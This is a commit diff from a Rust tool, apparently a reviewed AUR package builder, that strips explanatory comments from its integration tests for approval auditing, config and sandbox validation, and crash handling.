summaryrefslogtreecommitdiffstats
path: root/tests
diff options
context:
space:
mode:
authoraur-build <aur-build@localhost>2026-11-19 17:33:17 +0000
committeraur-build <aur-build@localhost>2026-11-19 17:33:17 +0000
commit4304b0f336ddba7b4ec6780795059ff2066d105b (patch)
tree10edea744a1c2bf3fc363b4dc7f64abac8b1a0d3 /tests
parente757979f1a2afdbe7146066345bb9acd19d3b151 (diff)
downloadaur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.tar.gz
aur-build-4304b0f336ddba7b4ec6780795059ff2066d105b.zip
comments: keep only what the code cannot show
Stripped every comment that described what an item does, documented its arguments or fields, or cited the design docs (§n, I-n, m-n, decision n). 2247 comments down to 83. What survives: the section dividers that segment the large modules, the secret-handling warnings, the agent wire-frame directions, and the few notes without which the code they attach to reads as redundant, reorderable, or unsound.
Diffstat (limited to 'tests')
-rw-r--r--tests/approve.rs39
-rw-r--r--tests/common/mod.rs54
-rw-r--r--tests/config.rs48
-rw-r--r--tests/crash.rs21
-rw-r--r--tests/db.rs14
-rw-r--r--tests/detect.rs22
-rw-r--r--tests/dispatch.rs37
-rw-r--r--tests/failure_modes.rs14
-rw-r--r--tests/hash.rs8
-rw-r--r--tests/http.rs24
-rw-r--r--tests/invariants.rs51
-rw-r--r--tests/kata.rs24
-rw-r--r--tests/layers.rs8
-rw-r--r--tests/live.rs22
-rw-r--r--tests/notices.rs12
-rw-r--r--tests/ops.rs30
-rw-r--r--tests/pipeline.rs44
-rw-r--r--tests/production_surface.rs16
-rw-r--r--tests/remote_agent.rs20
-rw-r--r--tests/schema_ownership.rs12
-rw-r--r--tests/shims.rs30
-rw-r--r--tests/staleness.rs18
-rw-r--r--tests/state_machine.rs30
-rw-r--r--tests/surfaces.rs10
-rw-r--r--tests/time.rs5
-rw-r--r--tests/vcs.rs26
-rw-r--r--tests/versions.rs33
-rw-r--r--tests/world.rs15
28 files changed, 0 insertions, 687 deletions
diff --git a/tests/approve.rs b/tests/approve.rs
index 86dcf46..15a205a 100644
--- a/tests/approve.rs
+++ b/tests/approve.rs
@@ -4,8 +4,6 @@ use aur_build::db::model::*;
use aur_build::review::{approve::Stale, approve::*, candidates, diff};
use common::*;
-/// Detect, open the review, and render it the way a reviewer opening the page
-/// would — returning the candidate plus the two hashes an approval must echo.
fn open_review(env: &Env, name: &str) -> (CandidateRow, String) {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -21,8 +19,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() {
assert_eq!(a.decision, "approved");
assert_eq!(a.identity_hash, c.identity_hash);
assert_eq!(a.diff_digest, dd);
- // The row itself records them, so "the human approved *this* diff" is
- // provable later (§7.2).
let stored: (String, String, Option<String>) = env
.db
.read(|c| {
@@ -35,7 +31,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() {
.unwrap();
assert_eq!(stored.0, c.identity_hash);
assert_eq!(stored.1, dd);
- // Approvals are append-only: the audit trigger rejects any edit (§10 I10).
let err = env
.db
.writer
@@ -45,7 +40,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() {
})
.err();
assert!(err.is_some(), "approval rows must be immutable");
- // And the human action is in the audit log.
let actions: Vec<String> = env
.db
.read(|c| {
@@ -61,8 +55,6 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() {
fn a_stale_identity_hash_is_refused() {
let (env, fx) = env_with_fixture("plain-make");
let (c, dd) = open_review(&env, "plain-make");
- // AUR moves while the reviewer is reading: the candidate collapses in place
- // and its identity changes under them.
fx.bump(&[("pkgver", "2.0")]);
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap();
let now = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap();
@@ -75,8 +67,6 @@ fn a_stale_identity_hash_is_refused() {
Some(0),
"a refused approval must leave nothing behind"
);
- // Approving with the *current* identity succeeds: the reviewer just has to
- // look at what is on screen now.
let dd2 = diff::render_and_store(&env.db, &env.cfg, &now).unwrap();
approve(&env.db, "tester", c.id, &now.identity_hash, &dd2, None).unwrap();
}
@@ -103,19 +93,12 @@ fn approving_twice_is_refused_not_duplicated() {
#[test]
fn a_broken_database_is_not_reported_as_a_stale_review() {
- // What this pins: every failure inside the approval transaction used to be
- // mapped into `Stale::NotPending`, so a SQLite error reached the reviewer as
- // "review is no longer pending" — the one message telling them to look again
- // when the truth is that the write failed (§6 M-3).
let (env, _fx) = env_with_fixture("plain-make");
let (c, dd) = open_review(&env, "plain-make");
- // Make the write impossible halfway through: the approval row and the
- // candidate update succeed, then the audit append has nowhere to go.
env.exec("DROP TABLE audit", &[]);
let err = approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap_err();
assert!(matches!(err, ApproveError::System(_)), "a broken database was reported as a stale review: {err:?}");
assert!(err.to_string().contains("could not be recorded"), "the message hides the cause: {err}");
- // And the refusal is atomic: the half-written approval rolled back with it.
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(0));
let after = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap();
assert_eq!(after.state, CandidateState::PendingReview, "a failed approval must not resolve the review");
@@ -123,32 +106,25 @@ fn a_broken_database_is_not_reported_as_a_stale_review() {
#[test]
fn bulk_refusals_are_their_own_reasons() {
- // Bulk used to bend `Stale::NotPending` into "high risk", "unknown decision"
- // and "the database failed" (§6 M-3).
let (env, _fx) = env_with_fixture("plain-make");
let (c, dd) = open_review(&env, "plain-make");
candidates::set_risk(&env.db, c.id, "high", &["new source host".into()]).unwrap();
let items = [(c.id, c.identity_hash.clone(), dd.clone())];
- // High risk without the individual confirmation: the reason is the risk.
let out = bulk(&env.db, "tester", &items, "approve", &[]).unwrap();
assert!(
matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::HighRiskUnconfirmed)),
"{:?}",
out[0].outcome
);
- // A decision the form should never have sent is its own reason.
let out = bulk(&env.db, "tester", &items, "ship-it", &[]).unwrap();
assert!(
matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::UnknownDecision(_))),
"{:?}",
out[0].outcome
);
- // Confirming it individually is the answer to the first refusal.
let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap();
assert!(matches!(out[0].outcome, BulkOutcome::Approved(_)), "{:?}", out[0].outcome);
- // Now it is no longer pending, and *that* is a staleness — the two reasons
- // stay distinguishable in both directions.
let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap();
assert!(matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::Stale(_))), "{:?}", out[0].outcome);
assert_eq!(env.query_i64("SELECT count(*) FROM approval", &[]), Some(1));
@@ -160,7 +136,6 @@ fn a_bulk_rejection_hands_back_no_invented_approval() {
let (c, dd) = open_review(&env, "plain-make");
let out = bulk(&env.db, "tester", &[(c.id, c.identity_hash.clone(), dd)], "reject", &[]).unwrap();
assert!(matches!(out[0].outcome, BulkOutcome::Rejected), "{:?}", out[0].outcome);
- // A rejection records a `rejected` row; there is no approval to return.
assert_eq!(env.query_i64("SELECT count(*) FROM approval WHERE decision='rejected'", &[]), Some(1));
assert_eq!(env.query_i64("SELECT count(*) FROM approval WHERE decision='approved'", &[]), Some(0));
}
@@ -172,8 +147,6 @@ fn collapse_in_place_bumps_revision_without_a_new_row() {
let first = c.revision;
assert!(c.viewed_at.is_none(), "render_and_store must not mark it viewed");
- // Nobody has looked at it: the new upstream state collapses *into* the open
- // review instead of queueing beside it (§7.1).
fx.bump(&[("pkgver", "2.0")]);
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap();
let after = candidates::pending_candidates(&env.db).unwrap();
@@ -200,8 +173,6 @@ fn once_viewed_a_new_state_freezes_the_old_one_as_superseded() {
assert_ne!(open[0].id, c.id, "a fresh review was opened");
let frozen = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap();
assert_eq!(frozen.state, CandidateState::Superseded);
- // The frozen one can no longer be approved: approving it would build a version
- // nobody is looking at.
let err = approve(&env.db, "tester", c.id, &frozen.identity_hash, &frozen.diff_digest, None).unwrap_err();
assert!(matches!(err, ApproveError::Stale(Stale::NotPending { .. })), "{err:?}");
}
@@ -211,10 +182,8 @@ fn a_rejected_identity_is_not_re_raised() {
let (env, _fx) = env_with_fixture("plain-make");
let (c, _dd) = open_review(&env, "plain-make");
reject(&env.db, "tester", c.id, "not this").unwrap();
- // Same upstream state, polled again: nothing new to review.
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, "plain-make").unwrap();
assert!(candidates::pending_candidates(&env.db).unwrap().is_empty());
- // A different identity is a different question, and gets its own review.
let err = approve(&env.db, "tester", c.id, &c.identity_hash, &c.diff_digest, None).unwrap_err();
assert!(matches!(err, ApproveError::Stale(Stale::NotPending { .. })));
}
@@ -237,7 +206,6 @@ fn reject_requires_a_reason_and_records_it() {
.unwrap();
assert!(note.contains("license"), "{note}");
- // And the audit row says *which review* was rejected, not only why (§6 m-4).
let (actor_kind, detail): (String, String) = env
.db
.read(|c| {
@@ -257,8 +225,6 @@ fn reject_requires_a_reason_and_records_it() {
// ------------------------------------------------------------- the CLI path --
-/// Drive the real binary the way an operator would: `init`, `subscribe`,
-/// `detect`, `show`, `approve --yes`.
#[test]
fn cli_end_to_end_approves_and_queues_a_build() {
let tmp = tempfile::tempdir().unwrap();
@@ -280,8 +246,6 @@ fn cli_end_to_end_approves_and_queues_a_build() {
let out = cli(bin, &root, &["reviews"]);
assert!(out.stdout.contains("#1"), "reviews: {}", out.stdout);
- // `show` renders the panels and the hashes; `approve` without --yes refuses to
- // act.
let out = cli(bin, &root, &["show", "1"]);
assert!(out.stdout.contains("identity_hash"), "show: {}", out.stdout);
let shown = out.stdout.clone();
@@ -298,7 +262,6 @@ fn cli_end_to_end_approves_and_queues_a_build() {
assert_eq!(cli_count(&root, "build"), 1);
assert!(shown.contains("PKGBUILD") || shown.contains("pkgver"), "diff pane: {shown}");
- // Approving the same review again is refused with a non-zero status.
let out = cli(bin, &root, &["approve", "1", "--yes"]);
assert_eq!(out.code, Some(2), "stale approval should exit 2: {:?}", out);
}
@@ -342,13 +305,11 @@ fn cli(bin: &str, root: &std::path::Path, args: &[&str]) -> Out {
}
}
-/// A local git repo standing in for AUR, so the CLI test needs no network.
fn cli_fixture(root: &std::path::Path, name: &str) -> (std::path::PathBuf, Fixture) {
let fx = materialize_fixture(root, name);
(fx.aur.clone(), fx)
}
-/// Query the CLI's own database through a throwaway read connection.
fn cli_count(root: &std::path::Path, table: &str) -> i64 {
let conn = rusqlite::Connection::open_with_flags(
root.join("aur-build.db"),
diff --git a/tests/common/mod.rs b/tests/common/mod.rs
index b1a50ac..b4f40dd 100644
--- a/tests/common/mod.rs
+++ b/tests/common/mod.rs
@@ -46,7 +46,6 @@ impl Env {
self.tmp.path().join(p)
}
- /// Insert a pkgbase + active subscription and return the pkgbase id.
pub fn subscribe(&self, name: &str) -> i64 {
let rid = db::repo_id(&self.db).unwrap();
let url = format!("file://{}/aur/{}.git", self.root().display(), name);
@@ -54,8 +53,6 @@ impl Env {
db::get_pkgbase(&self.db, name).unwrap().unwrap().id
}
- /// Drop a row back in via raw SQL (tests need to construct states the API
- /// only reaches through several steps).
pub fn exec(&self, sql: &str, params: &[P]) -> usize {
let sql = sql.to_string();
let params: Vec<P> = params.to_vec();
@@ -74,8 +71,6 @@ impl Env {
.unwrap()
}
- /// Stand in for the build+publish path: turn an approved candidate into a
- /// published release and move the accepted pointer.
pub fn accept_as_release(&self, candidate_id: i64) -> i64 {
let at = "2026-01-01T00:00:00Z";
self.db
@@ -121,14 +116,12 @@ impl Env {
.unwrap()
}
- /// Make the next publish abort at a named point (I4 / I5 tests).
pub fn set_publish_fault(&mut self, at: &str) {
self.cfg.hooks.publish_fault = Some(at.to_string());
}
pub fn clear_publish_fault(&mut self) {
self.cfg.hooks.publish_fault = None;
}
- /// Make the named shim fail (the "build failed" path, §8.4).
pub fn set_shim_fail(&mut self, tool: &str) {
self.cfg.hooks.shim_fail = Some(tool.to_string());
}
@@ -152,7 +145,6 @@ impl Env {
.unwrap()
}
- /// The same for a text column, so a test can read a timestamp back.
pub fn query_str(&self, sql: &str, params: &[P]) -> Option<String> {
let sql = sql.to_string();
let params: Vec<P> = params.to_vec();
@@ -173,7 +165,6 @@ impl Env {
}
}
-/// A test parameter. Owned so it can cross the writer-actor channel.
#[derive(Debug, Clone)]
pub enum P {
I(i64),
@@ -196,7 +187,6 @@ impl From<String> for P {
}
}
-/// Shorthand for building a parameter slice.
pub fn params(v: Vec<impl Into<P>>) -> Vec<P> {
v.into_iter().map(Into::into).collect()
}
@@ -209,13 +199,10 @@ impl Drop for Env {
// ------------------------------------------------------------- fixtures ----
-/// Root of the checked-in fake-package corpus (§16a).
pub fn corpus_root() -> PathBuf {
PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("testcorpus")
}
-/// Directory holding the shim executables cargo just built. Prepending this to
-/// PATH is the whole test harness: the pipeline runs unmodified.
pub fn shim_dir() -> PathBuf {
Path::new(&env!("CARGO_BIN_EXE_makechrootpkg"))
.parent()
@@ -223,9 +210,6 @@ pub fn shim_dir() -> PathBuf {
.to_path_buf()
}
-/// An environment wired to one corpus fixture: the fixture is committed into a real
-/// git repo standing in for AUR, an optional local upstream git repo exists for VCS
-/// sources, and the shims obey the fixture manifest.
pub fn env_with_fixture(name: &str) -> (Env, Fixture) {
let tmp = tempfile::tempdir().expect("tempdir");
let fx = materialize_fixture(tmp.path(), name);
@@ -247,8 +231,6 @@ pub fn env_with_fixture(name: &str) -> (Env, Fixture) {
(env, fx)
}
-/// Two fixtures sharing one server root, so a test can talk about packages that
-/// depend on each other.
pub fn env_with_two_fixtures(a: &str, b: &str) -> (Env, Fixture, Fixture) {
let tmp = tempfile::tempdir().expect("tempdir");
let fa = materialize_fixture(tmp.path(), a);
@@ -272,17 +254,12 @@ pub fn env_with_two_fixtures(a: &str, b: &str) -> (Env, Fixture, Fixture) {
(env, fa, fb)
}
-/// Copy a corpus fixture into a server root: recipe files into a git repo standing
-/// in for AUR, payload files beside it so their bytes can be swapped, and a local
-/// upstream repo when the recipe references one.
pub fn materialize_fixture(root: &Path, name: &str) -> Fixture {
let src = corpus_root().join(name);
assert!(src.exists(), "no fixture {name} in {}", corpus_root().display());
let manifest = root.join("manifest.json");
std::fs::copy(src.join("manifest.json"), &manifest).expect("copy manifest");
- // Data files a source URL points at live outside the recipe so a test can swap
- // their bytes (the digest-drift case) without touching git.
let data = root.join(format!("fixture/{name}"));
std::fs::create_dir_all(&data).unwrap();
let aur = root.join(format!("aur/{name}.git"));
@@ -321,7 +298,6 @@ pub fn materialize_fixture(root: &Path, name: &str) -> Fixture {
if has_upstream2 {
make_git_repo(&upstream2, &[("README", "second upstream\n")], "upstream: initial");
}
- // A `#tag=v1` source needs the tag to exist.
if std::fs::read_to_string(src.join("PKGBUILD"))
.unwrap_or_default()
.contains("#tag=")
@@ -351,12 +327,10 @@ pub struct Fixture {
pub data: PathBuf,
pub manifest: PathBuf,
pub upstream: Option<PathBuf>,
- /// A second upstream repo, for pkgbases that build from two of them.
pub upstream2: Option<PathBuf>,
}
impl Fixture {
- /// Commit a new recipe revision, rewriting `pkgver`/`pkgrel`/`epoch`.
pub fn bump(&self, changes: &[(&str, &str)]) -> String {
let path = self.aur.join("PKGBUILD");
let text = std::fs::read_to_string(&path).unwrap();
@@ -375,7 +349,6 @@ impl Fixture {
git(&self.aur, &["rev-parse", "HEAD"])
}
- /// Swap the bytes behind a `SKIP` source without touching the recipe.
pub fn swap_payload(&self, body: &str) {
for f in ["payload.bin", "data.bin"] {
let p = self.data.join(f);
@@ -387,21 +360,18 @@ impl Fixture {
panic!("fixture {} has no payload file", self.name);
}
- /// Add a commit to the local upstream repo (pin drift, §5.2).
pub fn upstream_commit(&self, body: &str) -> String {
let up = self.upstream.clone().expect("fixture has no upstream repo");
git_add_commit(&up, &[("README", body)], body);
git(&up, &["rev-parse", "HEAD"])
}
- /// Add a commit to the second upstream repo.
pub fn upstream2_commit(&self, body: &str) -> String {
let up = self.upstream2.clone().expect("fixture has no second upstream repo");
git_add_commit(&up, &[(("README"), body)], body);
git(&up, &["rev-parse", "HEAD"])
}
- /// HEAD of the (first) upstream repo.
pub fn upstream_head(&self) -> String {
let up = self.upstream.clone().expect("fixture has no upstream repo");
git(&up, &["rev-parse", "HEAD"])
@@ -417,14 +387,12 @@ impl Fixture {
}
}
-/// A minimal PKGBUILD for tests that need recipe bytes without a fixture dir.
pub fn pkgbuild(pkgbase: &str, pkgver: &str, pkgrel: &str, extra: &str) -> String {
format!(
"pkgbase={pkgbase}\npkgver={pkgver}\npkgrel={pkgrel}\npkgdesc=test\narch=(x86_64)\nurl=https://example.invalid\nlicense=(MIT)\n{extra}\nbuild() {{ :\n}}\npackage_{pkgbase}() {{ :\n}}\n"
)
}
-/// Build a throwaway git repo with the given files and return its path.
pub fn make_git_repo(dir: &Path, files: &[(&str, &str)], msg: &str) -> String {
std::fs::create_dir_all(dir).unwrap();
git(dir, &["init", "-q", "-b", "master"]);
@@ -468,8 +436,6 @@ pub fn git(dir: &Path, args: &[&str]) -> String {
// ------------------------------------------------------------- web driver --
-/// A tiny HTTP client for the surface tests: keeps the session cookie and the CSRF
-/// token, and hands back status + body.
pub struct Web {
pub env: Env,
pub fx: Fixture,
@@ -495,8 +461,6 @@ impl Web {
Self::attach(env, fx)
}
- /// Start a server on an env the test already built (two fixtures, odd
- /// configs) and pick up the session it hands out.
pub fn attach(mut env: Env, fx: Fixture) -> Self {
env.cfg.bind = "127.0.0.1:0".into();
let server = aur_build::http::spawn(env.cfg.clone(), env.db.clone()).unwrap();
@@ -513,7 +477,6 @@ impl Web {
web
}
- /// Subscribe, detect and render a review so an approval can be attempted.
pub fn open_review(&self, name: &str) -> aur_build::db::model::CandidateRow {
aur_build::watch::detect::check_pkgbase(&self.env.cfg, &self.env.db, name).unwrap();
let c = aur_build::review::candidates::pending_candidates(&self.env.db).unwrap().remove(0);
@@ -521,8 +484,6 @@ impl Web {
aur_build::review::candidates::candidate_by_id(&self.env.db, c.id).unwrap().unwrap()
}
- /// Approve through the library and run the build to publication, so a test can
- /// talk about "what the index serves".
pub fn publish(&self, name: &str) {
let c = self.open_review(name);
aur_build::review::approve::approve(&self.env.db, "test", c.id, &c.identity_hash, &c.diff_digest, None)
@@ -545,8 +506,6 @@ impl Web {
};
let cookie = r.header("set-cookie").map(|s| s.to_string()).unwrap_or_default();
let mut headers = vec![("set-cookie".to_string(), cookie)];
- // ureq 2 will not hand out the whole header map, but it answers for a named
- // one, which is all the assertions below need.
for name in ["content-type", "content-encoding", "location"] {
if let Some(v) = r.header(name) {
headers.push((name.to_string(), v.to_string()));
@@ -565,16 +524,11 @@ impl Web {
self.finish(resp, path)
}
- /// POST with exactly the fields given and nothing added — used to prove the
- /// CSRF gate refuses a form that omitted the token.
pub fn post_bare(&self, path: &str, form: &[(&str, &str)]) -> Page {
let resp = ureq::post(&self.url(path)).set("Cookie", &self.cookie).send_form(form);
self.finish(resp, path)
}
- /// Send a request over a bare socket: no cookie jar, no redirect following, so
- /// the test sees the 303 a browser would have swallowed. The session gate is
- /// only meaningful at this level.
pub fn raw_request(&self, method: &str, path: &str, headers: &[(&str, String)], body: Option<&str>) -> Raw {
use std::io::{Read, Write};
let addr = self.server.addr.clone();
@@ -598,8 +552,6 @@ impl Web {
Raw::parse(&raw)
}
- /// Log in and adopt the session cookie the server issued, refreshing the CSRF
- /// token with it — the token is derived from the sid.
pub fn login(&mut self, password: &str) -> Raw {
let raw = self.raw_request("POST", "/login", &[], Some(&format!("password={}", url_encode(password))));
if let Some(cookie) = raw.cookie() {
@@ -619,7 +571,6 @@ impl Web {
}
}
-/// A response read straight off the wire, before any client undoes it.
pub struct Raw {
pub status: u16,
pub headers: Vec<(String, String)>,
@@ -646,8 +597,6 @@ impl Raw {
self.headers.iter().find(|(k, _)| k == name).map(|(_, v)| v.as_str())
}
- /// The `name=value` a browser would keep from this response, i.e. the first
- /// Set-Cookie with its attributes stripped.
pub fn cookie(&self) -> Option<String> {
self.header("set-cookie")
.map(|v| v.split(';').next().unwrap_or("").to_string())
@@ -655,7 +604,6 @@ impl Raw {
}
}
-/// Percent-encode enough for a form body built by hand.
fn url_encode(s: &str) -> String {
s.bytes()
.map(|b| match b {
@@ -666,8 +614,6 @@ fn url_encode(s: &str) -> String {
.collect()
}
-/// Pull an attribute or meta value out of rendered HTML and undo the escaping the
-/// templates applied — a page is the contract here, so we read it as one.
pub fn extract(hay: &str, open: &str, close: &str) -> Option<String> {
let i = hay.find(open)? + open.len();
let rest = &hay[i..];
diff --git a/tests/config.rs b/tests/config.rs
index 3737045..080bbc7 100644
--- a/tests/config.rs
+++ b/tests/config.rs
@@ -3,8 +3,6 @@ use std::process::Command;
use aur_build::config::Config;
-/// The exact shape of the bug: a relative `--root`, saved verbatim, read back by
-/// the next command.
#[test]
fn a_relative_root_is_absolutized_once_and_never_doubled() {
let rel = PathBuf::from("target").join("config-root-test").join("runtime");
@@ -28,16 +26,12 @@ fn a_relative_root_is_absolutized_once_and_never_doubled() {
"the root must never be joined onto itself: {}",
rel.join("runtime").display()
);
- // Everything derived hangs off the one root, so the database cannot end up in
- // a second tree while the config sits in the first.
assert!(reloaded.db_path().starts_with(&reloaded.root));
assert!(reloaded.repo_arch_dir().starts_with(&reloaded.root));
std::fs::remove_dir_all(&rel).unwrap();
}
-/// The legacy shape on disk: a config written by an `init` that saved `--root
-/// runtime` verbatim. Loading it must not resurrect the doubled tree.
#[test]
fn a_stale_relative_root_in_the_file_is_ignored() {
let tmp = tempfile::tempdir().unwrap();
@@ -61,8 +55,6 @@ fn a_root_with_no_config_is_an_error_not_a_fresh_server() {
);
}
-/// The CLI half of the same rule: the old fallback invented a default config for
-/// *any* command, so a typo'd `--root` quietly produced an empty server.
#[test]
fn the_cli_refuses_a_root_that_was_never_initialized() {
let tmp = tempfile::tempdir().unwrap();
@@ -83,7 +75,6 @@ fn the_cli_refuses_a_root_that_was_never_initialized() {
assert!(err.contains("init"), "{err}");
}
-/// …and `init` is still allowed to run where there is no config yet.
#[test]
fn init_still_runs_where_there_is_no_config_yet() {
let tmp = tempfile::tempdir().unwrap();
@@ -100,14 +91,11 @@ fn init_still_runs_where_there_is_no_config_yet() {
assert!(root.join("config.json").exists());
assert!(root.join("aur-build.db").exists());
- // And the command after it agrees about where the tree is.
let cfg = Config::load(&root).unwrap();
assert_eq!(cfg.root, std::path::absolute(&root).unwrap());
assert!(!root.join("runtime").exists(), "no doubled tree");
}
-/// A root that exists but holds nothing but a config still resolves to itself,
-/// whichever way it was spelled.
#[test]
fn an_absolute_root_is_used_verbatim() {
let tmp = tempfile::tempdir().unwrap();
@@ -120,11 +108,6 @@ fn an_absolute_root_is_used_verbatim() {
assert_eq!(Config::load(dir).unwrap().root, dir);
}
-// The sandbox configuration: three kinds, and only three. The kinds are an enum
-// now, so a configuration that would silently mean "run the untrusted PKGBUILD as
-// the hub's own user" does not parse.
-
-/// Write a config carrying exactly this `sandbox` value and load it.
fn load_sandbox(sandbox: &str) -> Result<Config, String> {
let tmp = tempfile::tempdir().unwrap();
std::fs::write(
@@ -135,7 +118,6 @@ fn load_sandbox(sandbox: &str) -> Result<Config, String> {
Config::load(tmp.path()).map_err(|e| e.to_string())
}
-/// Load a config written as an older `aur-build init` would have written it.
fn load_raw(body: &str) -> Result<Config, String> {
let tmp = tempfile::tempdir().unwrap();
std::fs::write(tmp.path().join("config.json"), body).unwrap();
@@ -206,15 +188,12 @@ fn a_missing_required_field_names_the_field() {
#[test]
fn a_misspelled_field_is_refused_not_ignored() {
- // deny_unknown_fields: `listn` must not parse as "no listen address given".
let err = load_sandbox(r#"{"kind":"remote","listn":"127.0.0.1:1","token":"t"}"#).unwrap_err();
assert!(err.contains("listn"), "a typo'd field name must be named: {err}");
}
#[test]
fn an_unknown_kind_names_the_value_and_the_valid_set() {
- // The exact mistake this enum exists to catch: `kata` was a real intent,
- // and the old match sent it quietly to loopback.
let err = load_sandbox(r#"{"kind":"kata"}"#).unwrap_err();
assert!(err.contains("kata"), "must name the bad value: {err}");
for kind in aur_build::config::Sandbox::KINDS {
@@ -224,8 +203,6 @@ fn an_unknown_kind_names_the_value_and_the_valid_set() {
#[test]
fn a_config_with_no_sandbox_object_is_the_local_backend() {
- // The contract with every config.json already on disk: saying nothing means
- // loopback.
let cfg = load_raw("{\n \"repo_name\": \"aur\"\n}\n").unwrap();
assert!(matches!(cfg.sandbox, aur_build::config::Sandbox::Loopback));
assert_eq!(cfg.repo_name, "aur", "the rest of the config is untouched");
@@ -233,8 +210,6 @@ fn a_config_with_no_sandbox_object_is_the_local_backend() {
assert!(cfg.sandbox.shared_workspace(), "loopback shares the filesystem by construction");
}
-/// The file an older `aur-build init` wrote, verbatim. It carries the retired keys,
-/// but they say what the default already means, so it must still load.
#[test]
fn a_config_init_wrote_before_the_enum_still_loads() {
let cfg = load_raw(
@@ -269,8 +244,6 @@ fn a_config_init_wrote_before_the_enum_still_loads() {
assert_eq!(cfg.lease_secs, 90);
}
-/// …but retired keys that *would* have changed behaviour are refused, not quietly
-/// reinterpreted.
#[test]
fn retired_sandbox_keys_that_mean_something_are_refused() {
let err = load_raw(r#"{ "sandbox_backend": "remote", "agent_listen": "0.0.0.0:1", "agent_token": "t" }"#)
@@ -278,18 +251,14 @@ fn retired_sandbox_keys_that_mean_something_are_refused() {
assert!(err.contains("sandbox_backend"), "must name the retired key: {err}");
assert!(err.contains("sandbox"), "must point at the replacement: {err}");
- // Even one retired key with content is enough to refuse.
let err = load_raw(r#"{ "sandbox_backend": "kata" }"#).unwrap_err();
assert!(err.contains("sandbox_backend"), "{err}");
- // An empty retired key is noise, not intent, and stays tolerated.
assert!(load_raw(r#"{ "sandbox_backend": "loopback", "agent_token": "" }"#).is_ok());
}
#[test]
fn the_rendezvous_secrets_never_reach_debug() {
- // A config that ends up in a log line, a panic, or an audit payload must
- // not carry the token or the cluster bearer.
let cfg = load_sandbox(
r#"{"kind":"agent-sandbox","api":"https://k8s:6443","namespace":"builds",
"bearer":"kube-token","image":"img","listen":"0.0.0.0:1","token":"s3cr3t"}"#,
@@ -301,12 +270,6 @@ fn the_rendezvous_secrets_never_reach_debug() {
assert!(shown.contains("builds"), "the non-secret fields are still visible: {shown}");
}
-// The startup guard: the enum makes the impossible unrepresentable, this refuses
-// what a type cannot see — a field present but empty, and a remote backend that
-// was never told the workspace is shared.
-
-/// A config that parses but cannot work must be refused by `validate`, not
-/// discovered at the step that needed the thing it is missing.
#[test]
fn a_field_that_is_present_but_empty_is_refused() {
let cfg = load_sandbox(r#"{"kind":"remote","listen":"","token":"t","shared_workspace":true}"#)
@@ -319,7 +282,6 @@ fn a_field_that_is_present_but_empty_is_refused() {
let err = cfg.validate().unwrap_err().to_string();
assert!(err.contains("token"), "whitespace is not a token: {err}");
- // Every agent-sandbox field, one at a time.
for blank in ["api", "namespace", "bearer", "image", "listen", "token"] {
let mut fields = std::collections::BTreeMap::from([
("api", "https://k8s:6443"),
@@ -338,8 +300,6 @@ fn a_field_that_is_present_but_empty_is_refused() {
}
}
-/// The workspace gap: the build workspace is not shipped to a remote sandbox, so
-/// "remote" without this assertion would silently build on the hub.
#[test]
fn a_remote_backend_must_assert_the_shared_workspace() {
let cfg = load_sandbox(r#"{"kind":"remote","listen":"127.0.0.1:1","token":"t"}"#).unwrap();
@@ -357,7 +317,6 @@ fn a_remote_backend_must_assert_the_shared_workspace() {
assert!(err.contains("shared_workspace"), "{err}");
assert!(err.contains("agent-sandbox"), "{err}");
- // Asserting it is enough — the guard refuses the silence, not the kind.
assert!(load_sandbox(
r#"{"kind":"remote","listen":"127.0.0.1:1","token":"t","shared_workspace":true}"#
)
@@ -368,15 +327,10 @@ fn a_remote_backend_must_assert_the_shared_workspace() {
#[test]
fn the_local_backend_needs_no_assertion_at_all() {
- // The whole point of keeping loopback the default: it shares the filesystem
- // by construction, so there is nothing to promise.
assert!(load_sandbox(r#"{"kind":"loopback"}"#).unwrap().validate().is_ok());
assert!(load_raw("{}\n").unwrap().validate().is_ok());
}
-/// The guard is wired to the process, not just available as a library call:
-/// `aur-build serve` with a remote config that never asserted the shared
-/// workspace must refuse rather than come up healthy and build on the hub.
#[test]
fn serve_refuses_a_remote_config_that_never_asserted_the_workspace() {
let tmp = tempfile::tempdir().unwrap();
@@ -394,8 +348,6 @@ fn serve_refuses_a_remote_config_that_never_asserted_the_workspace() {
assert!(err.contains("shared_workspace"), "{err}");
}
-/// …and the same for the CLI build path, which is where the build would
-/// actually have run.
#[test]
fn the_cli_build_path_refuses_an_unusable_sandbox_config() {
let tmp = tempfile::tempdir().unwrap();
diff --git a/tests/crash.rs b/tests/crash.rs
index 68cac5c..ca7d90a 100644
--- a/tests/crash.rs
+++ b/tests/crash.rs
@@ -8,7 +8,6 @@ use aur_build::pipeline;
use aur_build::review::{candidates, diff};
use common::*;
-/// Approve a fixture's candidate and hand back the approved row.
fn approved(env: &Env, name: &str) -> aur_build::db::model::CandidateRow {
aur_build::watch::detect::check_pkgbase(&env.cfg, &env.db, name).unwrap();
let c = candidates::pending_candidates(&env.db).unwrap().remove(0);
@@ -18,7 +17,6 @@ fn approved(env: &Env, name: &str) -> aur_build::db::model::CandidateRow {
candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap()
}
-/// Approve and enqueue the build without running it.
fn queued(env: &Env, name: &str) -> String {
let c = approved(env, name);
pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap()
